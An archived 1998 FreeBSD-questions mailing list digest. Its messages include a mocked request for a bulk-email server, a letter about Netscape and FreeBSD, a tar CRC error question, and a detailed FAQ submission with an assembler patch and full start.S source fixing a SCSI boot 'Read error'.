[127.0.0.1]) by ninbox.ml.org (8.8.7/8.8.5) with ESMTP id RAA14549; Tue, 7 Apr 1998 17:49:45 -0500 (CDT) Message-ID: <352AAD88.E6DF2917@ninbox.ml.org> Date: Tue, 07 Apr 1998 17:49:44 -0500 From: Kris Kirby Reply-To: kris@airnet.net Organization: Absolutely None! X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.5-RELEASE i386) MIME-Version: 1.0 To: servers@max2001bulkisp.com CC: questions@FreeBSD.ORG Subject: Re: Server(s) Needed References: <199804071914.EAA28366@tx01.tv-tokyo.co.jp> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG servers@max2001bulkisp.com wrote: > > Hello, > > If you or someone you know has an available email server we are interested in renting it by the month. > > The server must be located outside of the United States and must strip all incoming headers. > > The server will be used for Bulk Emailing Purposes. > You mean S*P*A*M? -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 15:55:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA12614 for freebsd-questions-outgoing; Tue, 7 Apr 1998 15:55:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA12511 for ; Tue, 7 Apr 1998 15:55:17 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node11.mpc.com.br [200.246.0.11]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id TAA24631; Tue, 7 Apr 1998 19:54:32 -0300 (EST) Message-Id: <3.0.32.19980408074936.00ace6c0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 08 Apr 1998 07:49:43 -0300 To: marca@netscape.com From: Capriotti Subject: FreeBSD Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mr. Andreessen. I have always preferred your products instead of Microsoft's because of it's superior tech level. But your recent affirmatives were, at least, partial, and they are not pleasing a large group of users and developers. If your alliances with Sun, Apple, and other companies really aim to make the Microsoft monopoly weaker, I'd suggest you not to ignore strong groups such as ours. I hope to hear from you soon. Sincerely, Capriotti. [This reflects my opinion, and cannot be taken as a position taken by one group] >Subject: Re: Where's FreeBSD? More of a disturbing trend >Date: Tue, 7 Apr 1998 17:09:06 -0500 (EST) >Cc: questions@FreeBSD.ORG >Sender: owner-freebsd-questions@FreeBSD.ORG >X-Loop: FreeBSD.ORG > >> Don't mean to harp on this, but Marc Andreessen is, apparently, still >> pushing Linux to the exclusion of FreeBSD and other arguably superior >> solutions. See >> >> >> http://www.news.com/News/Item/0,4,20863,00.html >> >> where Andreessen mentions Linux and Solaris as key platforms but omits any >> mention of FreeBSD (or, for that matter, any of the *BSDs). >> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 16:03:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA13681 for freebsd-questions-outgoing; Tue, 7 Apr 1998 16:03:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from iconmail.bellatlantic.net (iconmail.bellatlantic.net [199.173.162.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA13629 for ; Tue, 7 Apr 1998 16:02:11 -0700 (PDT) (envelope-from dmm125@bellatlantic.net) Received: from myname.my.domain (client201-122-72.bellatlantic.net [151.201.122.72]) by iconmail.bellatlantic.net (IConNet Sendmail) with SMTP id SAA07080 for ; Tue, 7 Apr 1998 18:59:28 -0400 (EDT) Newsgroups: comp.unix.bsd.freebsd.misc Date: Tue, 7 Apr 1998 18:59:30 +0000 (GMT) From: Donn Miller X-Sender: dmm125@myname.my.domain To: questions@FreeBSD.ORG Subject: crc errors in tar files Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I recently was unpacking the full FreeBSD source distribution in single-user mode (with install.sh all), and I noticed that I got a crc error in the sys dist. But when I tried to upack the sys distribution by itself, the gzip errors went away. I repeated this a couple of more times with no errors. I had everything mounted async. I wonder if this is a meta-data problem that occasionally occurs on filesystems mounted async. Again, this error occured on a tarball, but then went away on the next try. I didn't modify the file in any way. Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 16:16:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA16332 for freebsd-questions-outgoing; Tue, 7 Apr 1998 16:16:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from abby.skypoint.net (abby.skypoint.net [199.86.32.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA16325 for ; Tue, 7 Apr 1998 16:16:41 -0700 (PDT) (envelope-from rpj@fep.hirshfields.com) Received: (from uucp@localhost) by abby.skypoint.net (8.8.7/jl 1.3) with UUCP id SAA03109 for faq@freebsd.org; Tue, 7 Apr 1998 18:16:41 -0500 (CDT) Received: (from rpj@localhost) by fep.hirshfields.com (8.8.5/8.8.5) id RAA08086 for faq@freebsd.org; Tue, 7 Apr 1998 17:57:44 -0500 (CDT) From: "Roger P. Johnson" Message-Id: <199804072257.RAA08086@fep.hirshfields.com> Subject: Consider this Q & A concerning "Read error" on boot for the FreeBSD FAQ list. To: faq@FreeBSD.ORG Date: Tue, 7 Apr 1998 17:57:43 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I am submitting this FAQ in hope that it may be entered into the official FreeBSD FAQ. After experiencing this problem first hand, searching the net, watching and posting to the mailing list, I have had no luck in getting a decent reply in how to fix the problem or what is going wrong. This problem is not just an isolated incident. In the approximately nine months of monitoring the mailing lists, I am seeing this question posted more and more from various users. So I dug into the source code and this is what I found as the problem and a solution to it. Enclosed at the very end of this letter, is the post I am posting to the questions@FreeBSD.org mailing list. That post goes into more detail, and this letter is really just a summary of that. IF you do decide to put this Q&A in the official FAQ, please feel free edit this info to what is more appropriate for the FAQ. Thanks, Roger P. Johnson rjohnson@hirshfields.com (612) 374-0230 Here is the Q&A for the FAQ: Q: I've just installed FreeBSD on my hard disk, and now when I boot, all I get is "Read error". Now what? A: Chances are, you have a SCSI controller card, a SCSI hard disk as the boot device, and you've installed FreeBSD dedicating the whole drive so as not to remain "cooperative" with other OS's. First of all, let me say this: This is problem ... is NOT a "geometry" problem, is NOT an "fdisk" problem, is NOT a "disklabel" problem, and you did NOT install FreeBSD incorrectly on the disk (at this point). Your BIOS bootstrap code is not passing the BIOS boot device in register "dl". The FreeBSD boot program "boot1" which is on the first sector of the disk, expects this to be in register dl. But in your case, since it is not setup in the dl register, the way boot1 is coded, it will then try to boot off of a bootable floppy disk in the disk drive. And since you don't have a floppy in the floppy disk drive, the boot1 program halts and issues the "Read error" message. To fix this quirk in your boot up procedure, you need to manually apply a patch to the boot1 program, compile, install and reboot. How to fix: ----------- 1. Since you are getting a "Read error", boot off of the floppy boot disk and at the "Boot:" prompt type: 0:sd(0,a)/kernel This will load the kernel from the hard disk and get you going like you didn't have any problem booting. 2. Make sure the kernel source is installed. 3. Become the super user. 4. # cd /usr/mdec This is where a copy your boot code lies. boot1 and boot2 is the code that lies on sector 0 and sector 1 respectively. Do a "strings boot1" and you will see the "Read error" message in it. 5. Make a backup copy of boot1 and boot2 so you can always restore the boot code back. 6. # cd /usr/src/sys/i386/boot/biosboot This is the source code directory for boot1 and boot2. The files here are all prety much in assembler. 7. Make a backup copy of "start.S" This is a small program written in assembler. When it gets compiled, it will become the boot1 prograrm. This is the file we want to modify. 8. Put following code in right below the "fd:" label in start.S: <------- snip here -------------------> mov $0x0080, %edx jmp hd <------- end snip -------------------> If you want boot1 to display a message to your console, saying something like it can't boot properly and it's taking this catch all branch instead, tailor this to your liking and place below the "fd:" label vs. using the code just above: <------- snip here -------------------> data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <------- end snip -------------------> DON'T get to message happy, as the whole boot1 program has to fit into one 512 byte sector size. 9. Save your changes 10. # make 11. # make install This will overwrite boot1 and boot2 in /usr/mdec. 12. # disklabel -B -b boot1 sd0 This will install /usr/mdec/boot1 onto sector 0 of the hard drive for booting. 13. Remove the floppy from the drive if you haven't done so. 14. # reboot Now your message should appear (if you had put one in start.S) and then should see the FreeBSD "Boot:" prompt on your screen. This "Boot:" prompt is from sector 1 of your hard disk, which is boot2, so you now know that boot1 is working! Yeah. :) End of FAQ letter. ================================================================================ Beginning of my detailed posting to "questions@FreeBSD.org" ================================================================================ Hi! For all of you that have encountered this annoyance of a problem, I have good news for you! Below are the hows and whys of the "Read error" message that you receive on boot after installing FreeBSD. I have been trying to get an answer to this for the last 6-9+ months, and have been unable to get an explanation of what this problem is and how to _really_ fix it. Finally I started looking at the startup code and found the problem. Isn't having the source code available wonderful? :) I checked the FreeBSD homepage pertaining to FAQ Question #103 which only mentions the "Read error" in passing, but to no use. A similar post to this has been submitted to the FAQ maintainers. Maybe it can be put in the FAQ for the next poor soul that encounter this. OK. Here's the stuff you want to know: Q: I've just installed FreeBSD on my hard disk, and now when I boot, all I get is "Read error". Now what? Chances are, you have a SCSI controller card, a SCSI hard disk as the boot device, and you've installed FreeBSD dedicating the whole drive so as not to remain "cooperative" with other OS's. First of all, let me say this: This is problem ... is NOT a "geometry" problem, is NOT an "fdisk" problem, is NOT a "disklabel" problem, and you did NOT install FreeBSD incorrectly on the disk (at this point). So here is what I am going to cover: What circumstances does this occur under? Where does the message come from ? Why does it occur? and finally, What's the solution ? 1. Circumstances: ============== As mention earlier, you probably have a SCSI controller, a SCSI hard disk that you are using to boot from, you dedicated FreeBSD to the whole drive, and just some bad luck. I Don't believe this happens with IDE drives. I have all Phoenix BIOS's, Adaptec controllers and all Seagate SCSI hard drives and this happens to me. And other posters don't give all the complete hardware details of their system to compare with. (I don't believe that the BIOS in the PC ROM is the BIOS that boots the system, but the BIOS in your SCSI Controller card that is performing the boot. (Just try turning off the DOS INT 13H stuff on the SCSI card and see what you get). Thus I don't know if it matters whether you have a Phoenix BIOS (like all my machines do) or whether you are using maybe AMI etc. etc. and encountering this.) 2. Where does the message come from ? ================================== The message indeed comes from not the BIOS, but FreeBSD, namely the "boot1" program which lies on sector 0 of the hard disk. This first sector of the hard disk is commonly known as the "boot block" and also as the "Master Boot Record" or "MBR" for short. This boot block is the first block that is read off of the hard disk, placed into memory, and jumped to by the bootstrapping microcode in the BIOS. Buried in the boot code is the "Read error" message, along with another message "No bootable partition". This boot code also holds the fdisk partion table. When dedicating the whole drive to FreeBSD, this is just a "dummy" fdisk table. 3. Why does it occur ? =================== The reason this is occurs is because the FreeBSD boot1 program expects the BIOS boot device number to be passed to it in the "dl" register by the BIOS bootstrap code. A note here, is that ALL disk i/o activity is handled by the system BIOS UNTIL the kernel is loaded and started. Then the disk i/o bypasses the BIOS through the SCSI sub-system. (The BIOS calls are the int 13h stuff ...) Apparently, and I do not know why, there are circumstances in which the BIOS bootstrap code fails to place the BIOS boot device number into this register. Without this device number in register dl, the boot1 program doesn't branch to the normal booting off the hard drive code. But instead, it tries to boot off of the floppy disk. Yes the floppy disk. But since their isn't a bootable floppy disk in the dirve, the BIOS call to read the boot block off of the floppy disk fails, and finally boot1 issues a "Read error" and terminates (actually, it "terminates" by puting itself into an endless loop). So when you get "Read error", it has absolutely nothing to do with your hard drive! Very misleading! 4. What's the solution ? ======================= There are 2 options. Both easy to do. 1. You can do a "shared" or cooperative installation and live with it. Yuck. -or- 2. You can apply two lines of assembler code to the boot1 program, compile and install it on your hard drive. (You don't have to know assembler to fix this folks). I won't discuss option number 1, so here is how to do option 2. Enclosed at the end of this post is my complete fixed boot1 program and a listing of just the diffs. How to fix: ----------= 1. Since you are getting a "Read error", boot off of the floppy boot disk and at the "Boot:" prompt type: 0:sd(0,a)/kernel This will load the kernel from the hard disk and get you going like you didn't have any problem booting. 2. Make sure the kernel source is installed. 3. Become the super user. 4. # cd /usr/mdec This is where a copy your boot code lies. boot1 and boot2 is the code that lies on sector 0 and sector 1 respectively. Do a "strings boot1" and you will see the "Read error" message in it. 5. Make a backup copy of boot1 and boot2 so you can always restore the boot code back. 6. # cd /usr/src/sys/i386/boot/biosboot This is the source code directory for boot1 and boot2. The files here are all prety much in assembler. 7. Make a backup copy of "start.S" This is a small program written in assembler. When it gets compiled, it will become the boot1 prograrm. This is the file we want to modify. 8. Either use my "start.S" file enclosed, or edit your own start.S file and put following code in right below the "fd:" label in start.S: <------- snip here -------------------> mov $0x0080, %edx jmp hd <------- end snip -------------------> If you want boot1 to display a message to your console, saying something like it can't boot properly and it's taking this catch all branch instead, tailor this to your liking and place below the "fd:" label vs. using the code just above: <------- snip here -------------------> data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <------- end snip -------------------> DON'T get to message happy, as the whole boot1 program has to fit into one 512 byte sector size. 9. Save your changes 10. # make 11. # make install This will overwrite boot1 and boot2 in /usr/mdec. 12. # disklabel -B -b boot1 sd0 This will install /usr/mdec/boot1 onto sector 0 of the hard drive for booting. 13. Remove the floppy from the drive if you haven't done so. 14. # reboot Now your message should appear (if you had put one in start.S) and then should see the FreeBSD "Boot:" prompt on your screen. This "Boot:" prompt is from sector 1 of your hard disk, which is boot2, so you now know that boot1 is working! Yeah. :) 4. Comments ========= I say that this is a BIOS/Hard drive combonation problem, and NOT just a BIOS quirk as some say. This is why: Given one machine of mine, if I install FreeBSD onto a 1.1 GB SCSI HD using an Adaptec 2940U SCSI-2 controller, I get "Read error". Now, take that drive out. Replace it with a 2.1 GB SCSI HD, install FreeBSD and it boots and works correctly! Seeing how the ONLY change in the system was the hard drives (both where Seagate by the way), it is not isolated to _just_ the BIOS itself. Weird. I have been through so many combonations of drives (old and new), controllers and PC's that I can't even count them. I can sum it up this way: Adaptec 2940 series with Seagate 1.1GB hard drives --> Read error. Adaptec 1542 series with Seagate 1.1GB hard drives --> OK. One thing that is nice about the way the code is patched in start.S is that you can use that boot1 code on any dedicated FreeBSD machine you have. If you have a "normal" booting machine, it will never hit the patched code. If you have a "Read error" machine, then the patch will catch it and still let you boot. This solved a dilema I had in that I have a bunch of production machines using the 1542 series, but I am slowly upgrading them to the 2940AU series. Well, now I can have one hot spare disk with the patched boot code on it for when/if I have a hard disk crash, I know that the drive will boot with either controller on it. It also answers my question of the SCSI formats and how backward compatable SCSI is. I can put in a 2940AU and run FreeBSD that was installed on the disk via an old 1542B card and run with it. What causes the BIOS to pass the BIOS boot drive number into register dl in one situation and not the next, I don't know why. Maybe there is a BIOS/assembler guru out there that can answer this ;) ? I would like to know if Linux does/would have this problem as well. I am real tempted to buy a copy of Linux to test it out this hardware setup that I have. I hope I have helped others with this post. Maybe the FreeBSD team can redo the startup code to address this in some way? Good luck, Roger "getting into the hardware more that I wanna" Johnson rjohnson@hirshfields.com <----------------- here is my "start.S" file ----------------------------------> /* * Mach Operating System * Copyright (c) 1992, 1991 Carnegie Mellon University * All Rights Reserved. * * Permission to use, copy, modify and distribute this software and its * documentation is hereby granted, provided that both the copyright * notice and this permission notice appear in all copies of the * software, derivative works or modified versions, and any portions * thereof, and that both notices appear in supporting documentation. * * CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS "AS IS" * CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND FOR * ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE. * * Carnegie Mellon requests users of this software to return to * * Software Distribution Coordinator or Software.Distribution@CS.CMU.EDU * School of Computer Science * Carnegie Mellon University * Pittsburgh PA 15213-3890 * * any improvements or extensions that they make and grant Carnegie Mellon * the rights to redistribute these changes. * * from: Mach, Revision 2.2 92/04/04 11:36:29 rpd * $Id: start.S,v 1.8 1996/07/12 05:42:02 bde Exp $ */ /* Copyright 1988, 1989, 1990, 1991, 1992 by Intel Corporation, Santa Clara, California. All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appears in all copies and that both the copyright notice and this permission notice appear in supporting documentation, and that the name of Intel not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. INTEL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL INTEL BE LIABLE FOR ANY SPECIAL, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN ACTION OF CONTRACT, NEGLIGENCE, OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "asm.h" .file "start.S" SIGNATURE= 0xaa55 LOADSZ= 15 /* size of unix boot */ PARTSTART= 0x1be /* starting address of partition table */ NUMPART= 4 /* number of partitions in partition table */ PARTSZ= 16 /* each partition table entry is 16 bytes */ BSDPART= 0xA5 /* value of boot_ind, means bootable partition */ BOOTABLE= 0x80 /* value of boot_ind, means bootable partition */ NAMEBLOCKMAGIC= 0xfadefeed /* value of magicnumebr for block2 */ /* * This DEBUGMSG(msg) macro may be useful for debugging. Its use is * restricted to this file since it only works in real mode. */ #define DEBUGMSG(msg) \ data32 ; \ mov $msg, %esi ; \ data32 ; \ call message .text ENTRY(boot1) /* * start (aka boot1) is loaded at 0x0:0x7c00 but we want 0x7c0:0 * ljmp to the next instruction to adjust %cs */ data32 ljmp $0x7c0, $start start: /* set up %ds */ mov %cs, %ax mov %ax, %ds /* set up %ss and %esp */ data32 mov $BOOTSEG, %eax mov %ax, %ss /* * make a little room on the stack for * us to save the default bootstring we might find.. * effectively, we push the bootstring. */ data32 mov $BOOTSTACK-64, %esp /* set up %es, (where we will load boot2 to) */ mov %ax, %es /* bootstrap passes us drive number in %dl */ cmpb $0x80, %dl data32 jae hd fd: data32 mov $msg1, %esi data32 call message data32 mov $msg2, %esi data32 call message data32 mov $0x0080, %edx jmp hd /* * XXX some bootstraps don't pass the drive number in %dl. * This is a problem mainly when we are block 0 on a floppy. * Force drive 0 for floppies. * XXX %dl was assumed valid in the test that led here. */ mov $0x0, %dl /* reset the disk system */ movb $0x0, %ah int $0x13 data32 mov $0x0001, %ecx /* cyl 0, sector 1 */ movb $0, %dh /* head */ data32 jmp load hd: /**** load sector 0 into the BOOTSEG ****/ data32 mov $0x0201, %eax xor %ebx, %ebx /* %bx = 0 */ data32 mov $0x0001, %ecx data32 andl $0xff, %edx /*mov $0x0080, %edx*/ int $0x13 data32 jb read_error /* find the first 386BSD partition */ data32 mov $PARTSTART, %ebx data32 mov $NUMPART, %ecx again: addr32 movb %es:4(%ebx), %al cmpb $BSDPART, %al data32 je found data32 add $PARTSZ, %ebx data32 loop again data32 mov $enoboot, %esi data32 jmp err_stop /* * BIOS call "INT 0x13 Function 0x2" to read sectors from disk into memory * Call with %ah = 0x2 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ found: addr32 movb %es:1(%ebx), %dh /* head */ addr32 movl %es:2(%ebx), %ecx /*sect, cyl (+ 2 bytes junk in top word) */ load: #ifdef NAMEBLOCK /* * Load the second sector and see if it is a boot instruction block. * If it is then scan the contents for the first valid string and copy it to * the location of the default boot string.. then zero it out. * Finally write the block back to disk with the zero'd out entry.. * I hate writing at this stage but we need this to be persistant. * If the boot fails, then the next boot will get the next string. * /etc/rc will regenerate a complete block2 iff teh boot succeeds. * * Format of block 2 is: * [NAMEBLOCKMAGIC] <--0xdeafc0de * [nulls] * [bootstring]NULL <---e.g. 0:wd(0,a)/kernel.experimental * [bootstring]NULL <---e.g. 0:wd(0,a)/kernel.old * .... * [bootstring]NULL <---e.g. 0:wd(0,f)/kernel * FF FF FF */ where: /* * save things we might smash * (that are not smashed immedatly after us anyway.) */ data32 push %ecx /* preserve 'cyl,sector ' */ data32 push %edx /* * Load the second sector * BIOS call "INT 0x13 Function 0x2" to read sectors from disk into memory * Call with %ah = 0x2 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ data32 movl $0x0201, %eax /function 2 (read) 1 sector */ xor %ebx, %ebx /* %bx = 0 */ /* buffer address (ES:0) */ data32 movl $0x0002, %ecx /* sector 2, cylinder 0 */ data32 andl $0x00ff, %edx /* head 0, drive N */ int $0x13 data32 jb read_error /* * confirm that it is one for us */ data32 xorl %ebx, %ebx /* magic number at start of buffer */ data32 addr32 movl %es:(%ebx), %eax data32 cmpl $NAMEBLOCKMAGIC, %eax data32 jne notours /* not ours so return to caller */ /* * scan for a bootstring * Skip the magic number, and scan till we find a non-null, * or a -1 */ incl %ebx /* quicker and smaller */ incl %ebx incl %ebx scan: incl %ebx addr32 movb %es:(%ebx), %al /* load the next byte */ testb %al, %al /* and if it is null */ data32 /* keep scanning (past deleted entries) */ jz scan incb %al /* now look for -1 */ data32 jz notours /* if we reach the 0xFF then we have finished */ /* * save our settings.. we need them twice.. */ data32 push %ebx /* * copy it to the default string location * which is just above the stack for 64 bytes. */ data32 movl $BOOTSTACK-64, %ecx /* 64 bytes at the top of the stack */ nxtbyte: addr32 movb %es:(%ebx), %al /* get the next byte in */ addr32 movb %al, %es:(%ecx) /* and transfer it to the name buffer */ incl %ebx /* get on with the next byte */ incl %ecx /* get on with the next byte */ testb %al, %al /* if it was 0 then quit this */ data32 jnz nxtbyte /* and looop if more to do */ /* * restore the saved settings and * zero it out so next time we don't try it again */ data32 pop %ebx /* get back our starting location */ #ifdef NAMEBLOCK_WRITEBACK nxtbyte2: addr32 movb %es:(%ebx), %al /* get the byte */ addr32 movb $0, %es:(%ebx) /* zero it out */ data32 incl %ebx /* point to the next byte */ testb %al, %al /* check if we have finished.. */ data32 jne nxtbyte2 /* * Write the second sector back * Load the second sector * BIOS call "INT 0x13 Function 0x3" to write sectors from memory to disk * Call with %ah = 0x3 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ data32 movl $0x0301, %eax /* write 1 sector */ xor %ebx, %ebx /* buffer is at offset 0 */ data32 movl $0x0002, %ecx /* block 2 */ data32 andl $0xff, %edx /* head 0 */ int $0x13 data32 jnb notours data32 mov $eread, %esi jmp err_stop #endif /* NAMEBLOCK_WRITEBACK */ /* * return to the main-line */ notours: data32 pop %edx data32 pop %ecx #endif movb $0x2, %ah /* function 2 */ movb $LOADSZ, %al /* number of blocks */ xor %ebx, %ebx /* %bx = 0, put it at 0 in the BOOTSEG */ int $0x13 data32 jb read_error /* * ljmp to the second stage boot loader (boot2). * After ljmp, %cs is BOOTSEG and boot1 (512 bytes) will be used * as an internal buffer "intbuf". */ data32 ljmp $BOOTSEG, $ EXT(boot2) /* * read_error */ read_error: data32 mov $eread, %esi err_stop: data32 call message data32 jmp stop /* * message: write the error message in %ds:%esi to console */ message: /* * Use BIOS "int 10H Function 0Eh" to write character in teletype mode * %ah = 0xe %al = character * %bh = page %bl = foreground color (graphics modes) */ data32 push %eax data32 push %ebx data32 mov $0x0001, %ebx cld nextb: lodsb /* load a byte into %al */ cmpb $0x0, %al data32 je done movb $0xe, %ah int $0x10 /* display a byte */ data32 jmp nextb done: data32 pop %ebx data32 pop %eax data32 ret stop: hlt data32 jmp stop /* halt doesnt actually halt forever */ /* error messages */ #ifdef DEBUG one: String "1-\0" two: String "2-\0" three: String "3-\0" four: String "4-\0" #endif DEBUG #ifdef NAMEBLOCK_WRITEBACK ewrite: String "Write error\r\n\0" #endif /* NAMEBLOCK_WRITEBACK */ eread: String "Read error\r\n\0" enoboot: String "No bootable partition\r\n\0" msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" endofcode: /* * Dummy partition table in case we are block 0. The ending c/h/s values * of the non-null partition are almost arbitary. The length of this * partition is bogus for backwards compatibility and as a signature. * A real partition table shouldn't be as weird and broken as this one, * and the isa slice initialization routine interprets this table as * saying that the whole disk is used for FreeBSD. */ /* flag, head, sec, cyl, typ, ehead, esect, ecyl, start, len */ . = EXT(boot1) + PARTSTART strttbl: .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte BOOTABLE,0,1,0,BSDPART,255,255,255 .long 0,50000 /* the last 2 bytes in the sector 0 contain the signature */ . = EXT(boot1) + 0x1fe .value SIGNATURE ENTRY(disklabel) . = EXT(boot1) + 0x400 <----------------- end of my "start.S file ----------------------------------> <----------------- here is my diffs file: diff start.S start.S.orig -----------> 112,126d111 < < data32 < mov $msg1, %esi < data32 < call message < data32 < mov $msg2, %esi < data32 < call message < data32 < < mov $0x0080, %edx < jmp hd < < 437,438d421 < msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" < msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <----------------- end of my diffs file: diff start.S start.S.orig ----------> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 16:27:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA17660 for freebsd-questions-outgoing; Tue, 7 Apr 1998 16:27:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from quackerjack.cc.vt.edu (quackerjack.cc.vt.edu [198.82.160.250]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA17616 for ; Tue, 7 Apr 1998 16:27:12 -0700 (PDT) (envelope-from rostewa2@vt.edu) Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30]) by quackerjack.cc.vt.edu (8.8.8/8.8.8) with ESMTP id TAA29012 for ; Tue, 7 Apr 1998 19:30:36 -0400 (EDT) Received: from vt.edu (rostewa2.campus.vt.edu [198.82.96.185]) by sable.cc.vt.edu (8.8.8/8.8.8) with ESMTP id TAA08075 for ; Tue, 7 Apr 1998 19:26:58 -0400 (EDT) Message-ID: <352A6FFE.CE3D65F1@vt.edu> Date: Tue, 07 Apr 1998 18:27:10 +0000 From: Brandon Stewart X-Mailer: Mozilla 4.04 [en] (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: faq@FreeBSD.ORG Subject: [Fwd: Consider this Q & A concerning "Read error" on boot for the FreeBSD FAQ list.] Content-Type: multipart/mixed; boundary="------------7E712D958FABED641A3B576D" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------7E712D958FABED641A3B576D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Misdirected. 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Johnson" Message-Id: <199804072257.RAA08086@fep.hirshfields.com> Subject: Consider this Q & A concerning "Read error" on boot for the FreeBSD FAQ list. To: faq@FreeBSD.ORG Date: Tue, 7 Apr 1998 17:57:43 -0500 (CDT) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG X-Loop: FreeBSD.ORG Hello, I am submitting this FAQ in hope that it may be entered into the official FreeBSD FAQ. After experiencing this problem first hand, searching the net, watching and posting to the mailing list, I have had no luck in getting a decent reply in how to fix the problem or what is going wrong. This problem is not just an isolated incident. In the approximately nine months of monitoring the mailing lists, I am seeing this question posted more and more from various users. So I dug into the source code and this is what I found as the problem and a solution to it. Enclosed at the very end of this letter, is the post I am posting to the questions@FreeBSD.org mailing list. That post goes into more detail, and this letter is really just a summary of that. IF you do decide to put this Q&A in the official FAQ, please feel free edit this info to what is more appropriate for the FAQ. Thanks, Roger P. Johnson rjohnson@hirshfields.com (612) 374-0230 Here is the Q&A for the FAQ: Q: I've just installed FreeBSD on my hard disk, and now when I boot, all I get is "Read error". Now what? A: Chances are, you have a SCSI controller card, a SCSI hard disk as the boot device, and you've installed FreeBSD dedicating the whole drive so as not to remain "cooperative" with other OS's. First of all, let me say this: This is problem ... is NOT a "geometry" problem, is NOT an "fdisk" problem, is NOT 